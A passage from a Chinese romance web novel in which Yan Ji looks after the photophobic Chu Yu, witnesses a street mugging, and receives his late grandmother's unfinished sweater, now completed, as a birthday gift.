言迹停下筷子,有些好笑地和初雨对视。
她木然地回神,寻找能说的话:“啊……没有,就是你睡着的时候,我看了本书,书里写在海边等日出的情节,我想等我彻底好起来了,能出门了,挑你有空的时候,我们也去海边看日出吧?肯定很美。”
不是过分的要求,在他能力范围之内。
他不假思索,答应:“好,只要你不怕光了,我们马上就去。”
顿了一秒,他补充:“但是你海水过敏,不可以玩水,我会看紧你的。”
“嗯嗯!没问题!”
得到言迹的应允,接下来的一段时间,初雨的心情都很好,没再像以前那样,情绪长久低落,一遇到点事情就崩溃大哭。
已经进步了很多很多。
3月29,初雨生日。
恰好这天周六,言迹提前给她订了够她一个人吃的蛋糕,在家给她做她爱吃的饭菜,还送她一套市面上热销的漫画书当生日礼物。
她平时就很喜欢看漫画,送漫画书是最合适的。
她欢天喜地过完生日,笑嘻嘻地说:“我十六岁啦!哥哥五月过完生日就十八岁,我们马上要成为大人了!”
“是啊,小时候那么急着长大,现在终于长大了。”言迹的笑容里,藏着三两分她读不懂的苦涩。
这不是他想象中的长大。
儿时梦寐以求,盼星星盼月亮等来的十八岁。
像一块腐烂已久的甜点,放置时间过久,品尝的时候全无新鲜,只有过期的梦想和憧憬发了霉,散发着眼泪的气息。
对十八岁的失望,并不影响生活往前进行。
言迹仍旧在店里兼职,同时抽空复习学过的知识,困倦的时候翻一翻初雨看过的书,或者听听那些她很喜欢的歌曲。
看了几页书,他和她一样,逐渐为情节着迷,听了几首歌,他也爱上了她的独特品味。
他以为,只要听她爱听的歌曲,看她爱看的书,陪她走过一天又一天,就能体会到她内心世界万分之一的变化,就能弄懂她敏感的情绪转变。
就能,感受到她细腻的情感,能和她天马行空的奇思妙想同频共振。
要是看懂了她看的名著,就能和她想到同一个情节背后的多重隐喻吧?听懂了她听的歌,就能和她体会到歌词背后创作者想要表达的内容吧?
言迹很在意初雨,想多了解她一点,爱上她喜欢的歌曲和书籍,看到相关的东西都会第一时间想起她。
在学校和在店里的时候,见不到她的分分秒秒,老是会想到她,什么有趣的事情都想和她分享,回家后见到她,会特别开心,感觉一整天的疲惫和劳累,都在看见她的笑脸那一刻,得到彻底的疗愈。
他也开始会回应她的拥抱,抱着她小小的身体,总感觉对她还不够好,怎么把她照顾的这么瘦?
对她总觉得亏欠,看见好的东西,都想尽力买给她,让她多点开心,多点快乐。
外界喧嚣,好在他们是彼此唯一的需要。
和言迹一起搭班的陈雯娜,见他经常借阅翻看不同的漫画书,以为他特别喜欢看漫画书。
想给他推荐几本好看的漫画书,但是想到去年他说话带刺的记忆,欲言又止,算了,干嘛给自己找不痛快呢,和他说话,八成又要被他呛到吧?
从那往后,她和言迹不多说一句废话,讲的内容全部关于店里的工作,交谈字眼没感情到像两个被输入了指令程序的机器人。
可是……也记得他一些好。
他会在晚上和她一起关店,乘同一辆公交车,跟在她身旁,送她回小区后,他才离开。
他补货的过程,会优先拿重的货品,把轻的货品留给她拿。
他帮忙清算她怎么都对不上的账目数额,解救她焦头烂额的窘境。
话少,孤僻,本性不坏。
陈雯娜找出几个词语总结言迹的性格,相处这么长时间,对他依旧不了解,看得出来他很抗拒别人靠近他。
她不是主动的人,但言迹这张脸……实在很难让人无视。
情不自禁想靠近他,想多和他说两句话。
有些人,天生自带对异性的吸引力,尽管性格不讨喜,但魅力不减。
言迹就是这类人。
陈
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雯娜做好再次被他拒绝的准备,鼓起勇气和他搭话:“喂,你很喜欢看漫画?我知道街角有家很实惠的旧书店,几块钱能买很多本二手书,我去逛过,漫画种类还挺多的,你要不要去看看?”
言迹转眸,迎上她忐忑的目光,语调平淡:“好,谢谢。”
下班后时间还早的的话,可以去陈雯娜说的旧书店里逛逛,说不定能找到初雨感兴趣又没看过的新奇漫画呢。
一提到和初雨相关的事情,言迹整个人都会变得柔软一些,没平时那么锋利的凌厉感。
陈雯娜短暂诧异,言迹今天的态度还可以嘛,没之前字字带刺的刻意拉开距离,让人觉得他只是高冷而已。
她趁热打铁,再次试探:“今晚要一起去看看吗?我给你带路。”
言迹没拒绝:“行,麻烦了。”
“不麻烦不麻烦。”陈雯娜连连几声,似乎怕他改变主意,先答应下来防止他反悔。
等到下班。
陈雯娜和言迹结伴,往街角书店的方向去。
她主动找话题:“要不我们先去吃点东西?我有些饿了,书店旁边有家米线店,味道还不错,我请你吃,搭班这么长时间,你帮了我不少忙,就当感谢你。”
言迹记得,初雨也喜欢吃米线。
那就去吧,味道还可以的话,给她打包带回去一份,米线和汤分开装,等回家里,米线也不会坨。
他的语气平平,听不出情绪如何:“那就先去米线店吧,不用你请我,你的钱留着自己用吧。”
和陈雯娜还没有熟到请吃饭的程度,他不喜欢欠人情或者占便宜之类的行为。
她不再吭声,言迹实在是太难聊了,哪有这么难接触的男生啊。
吃完米线,言迹要了份打包带走的,走出店面,她伸手往前虚指:“看到了吗?书店叫五角书屋,五毛钱就能买一本书,很划算吧?借书的话,一天只要一角钱,生意好得很呢。”
说了一堆,只收获言迹的一句:“还行。”
惜字如金这个词儿,用在他身上真是再合适不过。
她和言迹往书店走,书店旁边有一条昏暗的小巷子,里面成年堆积着楼上用户随手抛下来的垃圾,还有周围商户堆积在里面的旧纸箱。
往常安静的小巷,这会儿传来哭叫声。
他们同时往里看。
几个社会青年打扮的男生,堵住一对穿着高中校服的小情侣,为首的混混在校服男生的脸上拍了拍:“我们知道你不缺钱,最好把你身上的钱都交出来。”
校服男生吓得结巴:“我……我今天出来没带钱……”
混混在他腹部踹了一脚,男生痛的原地蹲下,一时说不出话。
“滚你大爷的,谁信啊?带女朋友出来约会不拿钱?”
混混上手搂过吓得花容失色的女生,“没钱?没钱就把你女朋友借给我们玩玩呗?看着挺清纯的,不知道那方面怎么样啊?”
女生泪眼婆娑,躲无可躲。
其他几个混混发出狰狞油腻的笑声,听着就让人恶心。
“你们……别碰她。”男生艰难地哀求。
他们的注意力全在小情侣身上,没察觉到巷口的言迹和陈雯娜。
陈雯娜内心不安,想去帮忙又怕引火烧身。
言迹带她躲到一旁,轻声低语:“你去书店里人多的地方,打电话报警,我在这看情况,要是那个女生有危险,我就进去救她。”
“你疯啦?”陈雯娜不可置信,他看起来事不关己高高挂起的冷漠模样,遇到有危险的陌生人,竟然会主动帮助。
在这里报警说不定会被那些人听到,书店里人多,掩护多,不会被盯上。
她冷静思考:“那些人身上可能有刀,你不要命了?”
“别废话,赶紧去。”言迹冷声,紧密注意那些混混的一举一动。
17. 第十七夜
“那你自己小心。”陈雯娜转身进书店,取出手机准备报警。
言迹双手握拳,劝说自己别冲动。
对方人多势众,他现在就去救人肯定会处于劣势。
只能静待警察到来,在这个过程中,如果那些人要对女生做出更过分的行为,那他会冲过去保护她。
言迹躲在暗处看着那些混混对女生出言不逊,好像看见了去年被坏人逼到绝境的初雪姐姐。
初雪当时的境地,比眼前这个女生惨多了,她孤立无援,即使初雨赶到现场,也没能将初雪从岌岌可危的矮墙边救回来。
要是他不住校就好了。
不住校,中午放学回来就能听见初雪的呼叫声,能帮初雨上天台去救姐姐,能避免悲剧发生。
可惜回不到过去。
他一直因为没能给初雨帮忙保护姐姐而自责着耿耿于怀,往昔无法弥补,现下面临同样的情况,他不想看弱者受欺凌。
帮不了所有弱者,至少可以救下眼前这个女生。
要是受欺负的只有男生,那他帮忙报个警就好。
但受欺负的还有女生,他明白一个女生落在一群血气方刚又目无王法的混混手里,极大可能会发生什么。
所以他留在这里,情况如果对女生开始造成伤害,他会挺身而出,避免悲剧发生。
他不怕那些人有刀,流点血没什么的,男子汉大丈夫,流血不流泪。
就怕他要是发生意外,留下初雨孤零零一个人,她往后该怎么生活。
她的病还没痊愈,还没带她去看医生,答应和她去海边看日出,诺言没兑现之前,他不能抛下她。
陈雯娜报完警,出来陪言迹一起等警察。
他们不说话,安静地躲在巷口,要是情况不利,他们可以拔腿就跑。
校服男生估计说了些刺激那些混混的话,他们听清以后,一齐出动,对男生又打又骂。
男生对女朋友喊:“快跑!”
女生满脸泪水,双腿发软,没跑几步就被扯着头发抓回去了。
言迹要迈步进去帮忙,陈雯娜拽着他的袖子:“别去。”
她也很害怕慌乱:“别丢下我一个人。”
无措的表情,好像初雨。
言迹怔愣的间隙,警车停在巷口。
“我们走吧。”陈雯娜握着言迹的手,拉他进书店,“他们会没事的,警察都来了。”
他被陈雯娜带进书店,感官提醒他牵在一起的手,怎么都体会不到和初雨牵手时,那种手臂酥麻,浑身过电的感觉。
以前也和初雨手拉手过,但那是小时候了。
最近一次的牵手,就是新年除夕,和她一起下楼玩仙女棒,那次他不动声色放开初雨的手,原因在于受不了浑身酥痒又耳颊发热的奇异感觉。
书店里,陈雯娜从惊惧中脱离,松开言迹的手,她拍拍心口:“还好没被发现,不然就惨了。”
言迹表情仍旧冷淡,他往书架去:“那么害怕,还出去干什么,就待在店里不好么。”
“我是害怕他们,”陈雯娜跟上言迹的脚步,“但我更害怕你出事啊。”
言迹停步,扫她一眼:“我们之间什么关系都没有,用不着害怕吧。”
“好歹我们是同学啊,一起搭班几个月,多少有点感情吧?你这个人……”她真的搞不懂言迹。
说他冷漠,他会给她帮忙,刚才遇见险境中的陌生人,他也没有袖手旁观。
说他不冷漠,他讲出来的字又都是那么刻薄。
“我很差劲吧。”言迹半问半答说出这句话,翻找着书架上的书籍,语气从容,“所以别再靠近我了。”
他本来就不是多好的人,不值得谁为他投注感情。
陈雯娜不知该怎么回答,但是她没有因此远离言迹。
当不成朋友,那就当同学同事吧,还不至于老死不相往来。
四月初。
陈雯娜搬了家,住到和言迹同一个小区。
兼职下班后,理所当然一同回家。
习惯了言迹的话少,她说一大堆,只能收获他不冷不淡的几个字。
他不是好的聊天伙伴,但是满分听众,倾听她说一些无聊的话,也没说过她很烦。
言迹任由她跟在身边,对她就像对待普通同学那样,没有半个多余的字。
态度该怎么冷淡还是怎么冷淡,偶尔搭一两句话只是为了减缓一下她的聒噪。
但这一切,在初雨眼里变了样。
她能拉开窗帘看日落以后,经常在言迹兼职下班后和放学后的时间,从阳台看到他和一个漂亮女生共同走进楼栋之间。
女生脸庞挂着笑,叽叽喳喳说个不停。
言迹面无表情听着,从不打断她,偶尔给出回应,看起来他们相处的不错,每天都一起回家。
女生进单元楼之前,还会和他挥手再见,他点头示意。
初雨收回目光,轻微皱了皱秀气的眉毛。
他们都聊了些什么呢?言迹和她聊过的内容,有和那个漂亮女生再讲一遍吗?
言迹和那个女生是什么关系?他恋爱了吗?之前他身上的香水味,和这个女生有关联吗?
乱七八糟的问题冒出来,她叹了一口气,心里不太舒服。
不舒服的原因是什么呢?
看到哥哥有了新的朋友,应该为他感到开心啊,怎么会是相反的情绪?还这么酸溜溜的想要弄清楚言迹和那个女生是什么关系。
该不会是吃醋了吧。
她掐了下脸蛋,吃醋也应该是吃喜欢的男生的醋,怎么会吃哥哥的醋?
等下。
她意识到至关重要的一点。
她……喜欢言迹吗?
喜欢一个人,大概是什么感觉?
她无从参考,只是心脏怦怦跳,快要到最高频率的临界点。
不会的不会的不会的!
她有些过于着急的反驳,喜欢谁都不可以喜欢他。
他照顾自己这么久,怎么能打他的主意?
喜欢他被他知道的话,会很丢脸吧?陪在她身边就会被她喜欢,这份喜欢经得住考验吗?
以后要是陪在她身边的另有其人,她会移情别恋吗?
心里万分焦躁,有没有人能来教教她该怎么办。
她对言迹的感情是依赖还是喜欢?分不清楚。
她该以什么身份去问言迹和那个女生的关系?会不会显得太干涉他的交际圈?会被他察觉到暗地作祟的占有欲吧?
算了,不问了,他们之间的关系,她根本不在乎。
反正言迹迟早会离开她的。
意识到这个认知的后一秒,她又亲手推翻。
不是新年夜才和她说过,他不谈女朋友吗?现在这局面算什么……
矛盾交织,别扭到不行。
她明白天下没有不散的筵席,有些痛苦就像大块的糖果,只有自己一点一点含到融化,没人能帮她品尝。
酸涩涌上她的眼眶。
太贪心了吧,最开始只是接受他的照顾,后来和他相互陪伴,现在竟然想要弄清楚他的感情状态,把他说的每一句话都当了真。
她想
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着这些得不到答案的问题,心脏位置绞着收缩。
这种不可名状的情绪还在不断发酵,直到她清楚的认识到,对言迹的感情没以前那么纯粹了。
以前拿他当哥哥,当依靠,当家人。
现在思考的角度,全是以喜欢他的身份去出发。
她不敢问言迹和那个女生是什么关系,怕听到她不想要的答案。
每当现实世界的不如意放大到面前,她都会选择躲避痛苦,好像只要不面对,痛感就会减轻。
躲回房间里的被窝。
她蜷缩身体发抖,身上肌肉似乎受不了情感上的刺激,传来痉挛抽搐的不适感觉,简单的吞咽口水动作也变得困难。
那种握不住水杯,四肢不听指挥不协调的感觉,再次降临她的躯体之内。
自我封闭的故技重施,说不准是她抛弃了这个世界,还是这个世界把她抛弃。
和言迹朝夕相处这么久,竟然对他不甚了了。
他们之间好像隔着一层玻璃罩,清晰目睹对方的容貌言行,却进入不到内心世界。
伸手以为会更靠近对方,触摸到的却是一层冰凉屏障。
再多难过,都被言迹的对她的好溶解。
她没有自私到要想方设法不择手段把言迹留在身边的打算,言迹对她够好了,她不可能去剥夺他的生活。
他应该有他的青春,应该有他喜欢的女生。
往后有些路该她自己走,言迹不可能照顾她一辈子啊。
她要加快速度好起来,要加倍对言迹好回去,帮他分担生活,给他买新衣服,不能让他花的时间和心血浪费。
要回去上学,读医科大学,当医生为他治病,报答他的恩情。
最大的对手,从来不是外在的人事物,而是从前的自己。
她和自己较上劲,不就是畏光吗?有什么大不了的,畏光症影响她的生活不是一天两天了,她从前害怕、躲避、不愿面对。
今天偏要试试,到底谁才是这具身体的主宰者。
她走下床,肌肉无力导致她直接跪倒在地,膝盖好痛。
“我不怕……我不怕光,”她嘴里念念有词,给自己洗脑,结果还是骗不过鲜活的心脏,“我怕哥哥离开我。”
疯子和神经病,大概就是她现在的状态吧。
拖着双腿,头发凌乱,嘴唇颤抖,逼着自己往前。
要逃避到什么时候才算够。
她不允许病情放纵。
手指抓到窗帘,猛的扯开布料。
周六中午明媚的阳光直照,狠毒地穿过玻璃窗,拼命刺激着她的双眼和身体。
空气变得粘稠稀薄。
不可否认,她的呼吸变得艰难,难受,特别难受。
她急促呼吸,抓过一旁的耳机和手机,颤抖着双手戴上耳机,播放歌曲。
耳机里想起的音乐,像是救她命的电子药剂,乐符钻进耳膜往深处去,试图缓和她躁动的情绪。
难捱的感受,她逼自己仔细体验无法逃避的痛苦。
似乎只要迎上负面情绪,她不退让,坏情绪和差劲感受就会为她让路。
身上好像有蚂蚁在爬,有针在扎她。
冰凉的地板承载她的身体。
日落时分,宁静的橘红色调像创可贴,粘住她破碎的心,抚平她凌乱的心思。
残阳沉降,星月相伴,手机没电关机了。
言迹打开外面的门,进来敲卧室门:“小鱼?”
她转眸看向门板,撑着身体,摇摇晃晃起来,刚恢复正常心率的心跳,再次凌乱。
18. 第十八夜
“小鱼?睡着了?”言迹再次敲门确认。
初雨拖着沉重麻木的双腿,去给他开门。
她的长发微乱,疲态显眼。
身后往常合住的遮光窗帘,现下敞开,窗外月光倾斜地面,像蛋糕上甜腻的白色糖霜。
“我吵醒你了?”言迹轻晃手中的餐盒,“给你买了酒酿小圆子,趁热吃。”
她装模作样揉揉眼睛,演出睡眼惺忪的状态:“谢谢哥哥,我下午拉开窗帘看日落,不小心睡着了。”
没记她从什么时候开始,说谎已不犯口吃的毛病。
一切都那么自然而然,仿佛背后有一双无形大手,推动世事悄然发生,完全不引局中人起疑,等人醒悟时,所有事成定局,再反抗不了丝毫。
人们把这称之为——命运。
初雨坐在茶几前:“哥哥,给你分点,有些太多了,我吃不完。”
言迹看穿她的心思,她想把好的东西分给他一起吃,但他更希望她多吃一点。
“说什么呢?这么小一份,还没有你巴掌大,快点吃。”
说完话,言迹去整理换季衣服,把秋冬厚衣服放进储物柜,拿出夏季穿的薄衣服。
他衣服少,整理速度快。
初雨余光扫到他动作静止一瞬,她转眼去看。
言迹捧着一件织半截的黑色毛衣发呆,他眸光凝重沉敛,像陷入无法自拔的情绪中,任由悲伤蔓延。
“哥哥,”初雨主动问他,“毛衣怎么只有一半?”
他的神情泛起波澜,重回这件半截毛衣的专属时光。
言迹奶奶离开的两年前,身体病情每况愈下。
奶奶舍不得治病,要把攒下来的钱留给言迹以后读书用,言迹以绝食要挟奶奶必须去看病,不然他一直饿着。
他的母亲在生他时难产离世,父亲很快再组建新家庭,把他给奶奶抚养。
起初,父亲会打生活费回来,会对他嘘寒问暖。
后来,父亲对他不闻不问。
他以为自己学习成绩下降了,父亲不再喜欢他,他急忙补救,努力专心学习,期末考到满分,兴高采烈打电话给父亲,问他能不能来参加期末家长会,他考了全年级第一,还拿了奖状。
电话那边的父亲声音冷淡:“哦,我明天公司有事走不开,下次吧。”
背景音响起陌生的女声:“老公,孩子饿了,我们出去吃饭吧。”
父亲焦急对女人回应:“来了。”
言迹没等来父亲一句告别的话,电话就被挂断,只剩下冰冷无情的机械音响着“嘟——嘟——”的挂断声。
他以为父亲真的公司有事。
隔天,他出门去买作业本的路上,远远瞧见父亲和他没见过的阿姨,带着一个刚会走路的小孩,往这边慢悠悠走来。
实在太想念父亲,不然也不会一眼在人群中认出他的身影。
不是说今天公司有事,走不开吗?
父亲满脸享受生活的愉悦模样,看着不像公司有事务缠身。
他们一家越走越近,父亲的目光全在女人和小孩子身上,丝毫没发现言迹的存在。
言迹躲到一旁的公交车站牌后,不想打扰属于父亲的时光,他一直都是很懂事的小孩,不给长辈添麻烦。
“老公,你不去孩子的家长会,真的没关系吗?我可以照顾宝宝的,要不你还是去吧?”女人的口吻通情达理。
父亲回绝:“没事儿,当然是你们比较重要,我说公司有事,他就没再胡闹了,今天休假,我好好陪陪你和嘉嘉。”
女人的声音藏着旁人听不出的胜利喜悦,过分刺耳:“那既然你都这么说,我就放心了,哦对了老公,听说我常去的那家店,上了新款包包。”
“好,现在去给你买,你给我生了嘉嘉,从怀孕到现在都辛苦你了,一个包哪够?再给你多买几个都没问题。”
短短几句对话,像利刃扎进躲在暗处的言迹心里,当天留下的伤疤,至今尚未愈合。
在父亲看来,他已经不重要了,成为碍眼的存在。
可是凭什么?他身上不也流着父亲的血吗?
他考满分,请求父亲开家长会,这样的行为竟然被定性为“胡闹”。
阿姨生小孩,从怀孕到现在辛苦了,那他的母亲呢?母亲从怀孕到生产,就不辛苦吗?生完他难产去世,父亲有觉得母亲辛苦吗?
父亲有新的家庭,不需要再想起妈妈了,对吗?
他也不再是唯一的宝贝,从前父亲陪他的时间,往后都会给那个叫嘉嘉的小孩。
他站在很远的地方,目送父亲一家三口走远。
言迹当时年幼,对于爱和恨的概念很模糊,说不清这两种情绪分别是什么感受。
只知道,他再也不想看见父亲。
父亲那么怕他影响新生活,他正好不再出现。
没关系,还有奶奶爱他。
在天上的妈妈,也一定很爱他。
父亲打来的生活费越来越少,奶奶不得不出去赚钱养他,还要给他以后读大学攒够钱。
其他同龄老人在家安享晚年,奶奶早起晚回,就为在饭店多刷两个碗,多赚点钱。
言迹知道生活不易,为省电费,不再看动画片。
他放学回家路上,看到空饮料瓶,会捡起来拿回去,攒到一定数量拿去废品回收站卖钱。
隔年暑假,父亲在公司工地不慎失足身亡的噩耗,成了压垮奶奶身体的最大原因。
她一病不起,整日咳嗽,腿脚愈发不便,总说过两天就好,但是过了很多个两天也没好起来。
父亲公司给的赔款,少得可怜,大部分都给了阿姨和嘉嘉,剩下的钱到奶奶和言迹手里,早已所剩无几。
为了省钱,奶奶说什么都不肯去医院。
要把攒下来的钱留给言迹以后读书用,言迹以绝食要挟奶奶必须去看病,奶奶无可奈何,只能听他的。
然而,父亲公司给的赔款,还有攒下来的钱,给医院花的差不多了,老人的身体也没见有起色。
到最后的最后,老人久卧病榻,下半身完全失去行动力,只能支起身子,想给他织条暖和些的毛衣。
老人知道她走以后,这个世界上再也没人疼言迹,她管不了太远的以后,至少可以给他织件毛衣,陪他过每年的严冬。
可惜毛衣还没织完,她就撒手人寰。
剩下这半件毛衣,言迹也没法穿。
说完手里毛衣的来历,初雨轻拍言迹的脊背,安慰他:“说不定会有童话书里的小精灵,趁你半夜睡着,偷偷帮你补好毛衣呢?”
言迹听她充满幻想色彩的话,试想后,淡笑:“那我真要好好感谢善良的小精灵,替我圆了最大的遗憾。”
习惯了初雨天马行空的想法,言迹没把她这次话里的“说不定”当真。
她仔细记住言迹把毛衣装进哪个收纳箱,趁他出门兼职的时间,她找出毛衣,察看毛衣用什么材质的毛线织成,毛衣胸前的花样复不复杂。
还好她从小热爱手工,以前对针织物很感兴趣,跟着妈妈学过织围巾和毛衣,大致扫一遍眼前的花纹,就知道该怎么动手。
难就难在,家里没有黑色毛线和棒针,要想续上这件毛衣,又要为他保留惊喜,只能出门去买所需品。
初雨走到窗边,拉开遮光窗帘,直视窗外笼罩在阳光中的街道。
她的后背不由自主沁出冷汗,上次出门给言迹买药和新年夜下楼玩仙女棒,都是晚上,光照没那么强烈。
虽然前段时间也在窗前从下午坐到过夜晚,但到底没出门,不能相提并论。
四月份的天气,室温宜人,她的双手却冰凉彻底,脸上血色尽失。
心理抗拒出门,生理唱反调催促她做好出门的准备,快点买毛线回来帮言迹弥补遗憾。
“照顾我这么长时间,”初雨自言自语,“我也该给点回报吧。”
她穿好衣服换好鞋,看眼时间,距离言迹回来还有好几个小时,有足够的时间挑毛线买毛线。
从她那次能单独出门后,言迹没再反锁门。
他担心她万一哪天想出去透透气
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,这扇打不开的门就成了阻拦她的障碍,反锁的门以前保护她脆弱的心免受惊扰,现在不能成为挡住她前进步伐的绊脚石。
那些纠缠过初雪的人,似乎销声匿迹般,消失的无影无踪。
自言迹开始照顾她,没有奇怪的人来敲门,也没有不好的事发生,初雨的防备心逐渐下降,开始真的相信,那些人不会再来打扰她的生活。
她戴上卫衣帽子,还有挡住口鼻的口罩,恨不得打扮得密不透风。
做好心理准备,她打开门,踏出第一步,在心里幻想言迹收到补好的毛衣,他的反应会如何?
依靠这份幻想,足以她顽强抵抗畏光的恐惧。
下了楼,阳光充足。
她浑身不自在,想原地躲回家,再也不出来。
这次逃回家,那下次呢?
要一直躲避吗?
她攥紧拳头,以指甲掐掌心的痛感激励自己,别回头,往前走。
低眼注视水泥地面,偶尔抬头看走的方向对不对,凭记忆找到不远处的那家毛线店,路上有人对她投来好奇的打量,貌似在想她是谁?
她害怕被认出来,然后对方问她一堆不想回答的问题,所以她只能加快脚步,不停赶往目的地。
进到毛线店,她挑完毛线和棒针,结完帐的那秒,像做完一件很厉害的大事。
接下来只要走回家,就好了。
过程比来毛线店时还要轻松,回家后,她换回舒适的居家长裙,感受到胸膛里惊慌余韵未平的心跳。
看来,在白天室外活动的不舒服很明显,还好症状不严重,没有腿软倒在外面回不来,这就很好了,估计再要一段时间恢复,就能慢慢当回正常人。
她呼一口气,拿出那件毛衣,搜寻线头接口,一秒钟都不愿耽搁。
找到接口,她先拿新买的毛线试着织毛衣的花样,反复尝试几次,确定熟练掌握以后,她才正式续织。
四月到五月初,初雨和言迹两个人都过得很充实。
言迹照常读书兼职,晚上回来给她带夜宵,有空的时候会去漫画店给她买漫画书送她看。
他对自己各种舍不得,对初雨一如既往很大方,不肯借漫画书,因为借来的漫画书总有一天要还回去,他知道热爱的东西再失去,不是好滋味,他不要初雨尝。
晚上,客厅开着台灯,言迹刷题到深夜。
初雨看漫画书到深夜,像用行动陪伴他读书一样,不让他在漫漫长夜孤单一人挑灯苦读。
白天,言迹上学,周末兼职。
他不在家的时间,初雨放心大胆续织毛衣,织完以后,她小心翼翼收尾,拿出万分认真的态度对待这件毛衣。
还好毛衣原本的花样不复杂,不然绝对不会这么顺利。
生日礼物有了,生日餐吃什么呢?
她看眼日历,言迹生日那天刚好周六,他中午放学,下午兼职,晚上回来,她可以准备晚饭。
蛋糕一定要有,她数数手里的钱,够买不错的蛋糕。
然后再做几道他爱吃的菜,准备他爱喝的饮料,要给他过开开心心的生日!
做好决定,她等到5月7号,再次独自出门,去附近蛋糕店为言迹订第二天生日的蛋糕。
她当天在言迹面前表现的和往常一样,完全没被他察觉出来,她明天要做什么。
翌日,5月8号。
她取回蛋糕的过程,没有出去买毛线那次对阳光的抵触感那么强,似乎逐渐适应接受必须出门的事实。
不知道是因为明白喜欢言迹的感觉令心脏悸动,还是因为给他精心准备生日,很期待他反应的缘故?两种情绪混淆不清。
时间越靠近他回家的时刻,她越紧张。
直到言迹开门,出现在她视线里的那一毫秒,她的心跳剧烈,终于清楚,心底汹涌澎湃的情绪,全是喜欢他的证明。
“我回来了。”言迹放下钥匙,看到客厅茶几上的蛋糕和菜肴,微微愣神。
初雨走过去,抱住他,耳朵紧贴靠近他心脏的位置:“言迹,生日快乐。”
19. 第十九夜
听到初雨说“生日快乐”,言迹才反应过来今天是他的生日。
他近期忙于备考和兼职,忘了对他来说最特别的日子。
言迹回抱初雨,压抑感动:“谢谢小鱼。”
她转而牵住言迹的手,带他到茶几前:“可以点蜡烛许愿啦。”
“好。”言迹拿起一旁夏天点蚊香用的打火机,点亮蜡烛,顺从地闭眼许愿。
她趁时机合适,准备送出生日礼物:“不要睁眼偷看哦,我有礼物要送给你。”
言迹往常平淡清冷的声音,现下略带激动:“我不偷看,是什么礼物?”
“你伸出双手,我把礼物给你。”
他照做,双手掌心朝上,往前伸出。
心跳好快。
应该是她刚才牵过他的手,那时候的心尖颤动,到现在还没平缓。
礼物躺进他的手心之上。
毛绒触感,质地柔软,熟悉的材质勾起他的猜想。
是毛衣?
他睁开眼,垂下视线定睛手中的黑色毛衣。
奶奶没织完的半截毛衣,现在被续上,成为完整的一件黑色毛衣,新旧相接之处过渡自然,巧夺天工的技术,看不出续接痕迹,似乎这件毛衣最开始就是完整的,不曾缺过一条线。
四月份的对话,再度浮上脑海。
——“说不定会有童话书里的小精灵,趁你半夜睡着,偷偷帮你补好毛衣呢?”
——“那我真要好好感谢善良的小精灵,替我圆了最大的遗憾。”
现实世界里哪会有童话故事中的小精灵?
言迹的眼眶泛酸,他不可置信地轻抚毛衣,最大的遗憾被修补完整。
“小鱼,”他抬眸,眼里像是蒙一层水雾,晶莹闪着薄光,鼻音很重,“谢谢你,真的……很谢谢你。”
都怪他嘴笨,除了感谢的话,别的一句都说不出。
心里的感动无法用语言表达,他和眼前的少女对视着,试图让她瞧见他心底的真实情感。
她的笑容清甜:“我们是一家人,不用客气。”
再次触及“家人”的字眼,她不自然地抿抿唇。
等哪天言迹知道了她对他的喜欢,他们之间还能是“家人”的关系吗?
她对言迹的心动,会影响到他们目前相处的关系模式吗?
言迹侧眸看看桌上的奶油水果蛋糕,又摸摸手中的毛衣,他发觉重点:“小鱼,你在哪找到织毛衣的毛线?还有蛋糕是怎么回事?”
奶奶用剩下的毛线,收在房间里,房门常年反锁,钥匙在言迹身上装着,初雨不可能进奶奶房间。
这卖相美观的蛋糕,不可能是她亲手做出来,家里没有奶油和烤箱,条件不允许她动手。
唯一合理的,就是茶几上放着几道他爱吃的菜,红烧茄子、酸辣土豆丝、青椒炒蛋,家里有这些食材,他前段时间也教过初雨做菜蒸饭。
“当然是我出门买的,难不成真有小精灵送来啊?”她说得轻松自在,只字不提她这几次出门前的挣扎和在外面喘气都不匀称的狼狈。
言迹喜出望外,瞳眸放大,语气激动:“你能自己在白天出门了?什么时候?怎么都没和我说过?出门有没有哪里难受?”
“上个月出门买毛线,是第一次白天出门,因为想给你惊喜嘛,不能被你知道我出去过了,还有两次是昨天出门订蛋糕和今天去取蛋糕,难受是肯定的,不过你的生日这么重要,我克服下就好了,距离能像正常人一样出门,估计还要段时间。”
给他过生日的紧迫,覆盖过她病情的不舒服,成为她必须出门的理由。
他们最心有灵犀的一点,就是都低估了自己在对方心里的重量。
明明亲口说过,对方很重要,但还是无法真的相信,在这个世界上,能有人真的像对待家人一样对待自己。
言迹忘记的生日,初雨一直替他记得。
说来可笑,连自己生日都想不起来的人,竟然年年记得她的生日。
“小鱼……”言迹的喉结艰难滚动,“你为我做了这么多……我……”
我要怎么感谢你才好,我要怎样表达才能让你明白,有你真好。
她以为言迹又要说谢谢之类的,抬起食指轻按他薄唇之上,再次强调:“我们是一家人,不用总说谢谢。”
他答应下来,认真吃着她做的饭菜,买的蛋糕。
有家人的感觉,真好啊。
一切都在变得越来越好,初雨病情不断好转,言迹过几个月高考结束,就可以出去找别的兼职,早点带她去看病才是最重要的事。
日子往前挪动,初夏来临,六月高考结束,言迹彻底和高中生的身份告别。
天气升温,他们家没有空调,全靠客厅的吊扇和落地小风扇吹风驱热。
言迹兼职回来会给初雨带冰激凌和晚饭,每天见到他的时间,就是初雨最开心的时间。
为了方便照顾初雨,言迹就待在小镇上,继续在王阿姨店里打工。
他早上八点去店里,晚上九点回来,王阿姨知道他尽心尽力,工资给他按照全天员工的价格算,平时关照他,会给他多算些钱。
难就难在,开学后他要去市里读大学,做不到每天往返,那时候该怎么照顾初雨?
还没等他想到解决方案,难题就在七月自动解除。
那天,言迹特别开心,买了些平时舍不得买的水果和精品凉菜,向王阿姨请了假,回来在家和初雨庆祝好事。
初雨眼看菜肴上桌:“哥哥,今天是什么日子吗?”
言迹给她的杯子里倒上果汁,语调上扬,压抑不住开心:“本来想着,高考以后我出去再找份兼职,争取快点攒够钱,带你去看病,然后剩下来的钱,看看够不够我读大学,不够的话我再想办法,而且学校在市里,我没办法每天回来照顾你。”
她安静听着,这段话里,藏着好几个需要用钱才能妥善解决的麻烦问题。
但看他的神色和反应,似乎并不为这些问题苦恼。
“昨天,高中主任打电话让我抽空去学校一趟,她有重要的事要说。”
他放下饮料瓶,没动筷子,把话说完,“我今天去了,重要的事就是我考上了市里的重点大学,高中奖励我一笔钱,这笔钱可以解决这些问题,小鱼,看完病以后,要不要搬家去市里,开始新的生活?”
转折如此突然,她没做任何心理准备,还处于正在消化内容的反应中。
言迹分享完喜悦,给她碗里夹菜:“没事,你可以慢慢考虑,不一定非要搬家,就算不搬家,我也会想办法照顾你的,先吃饭。”
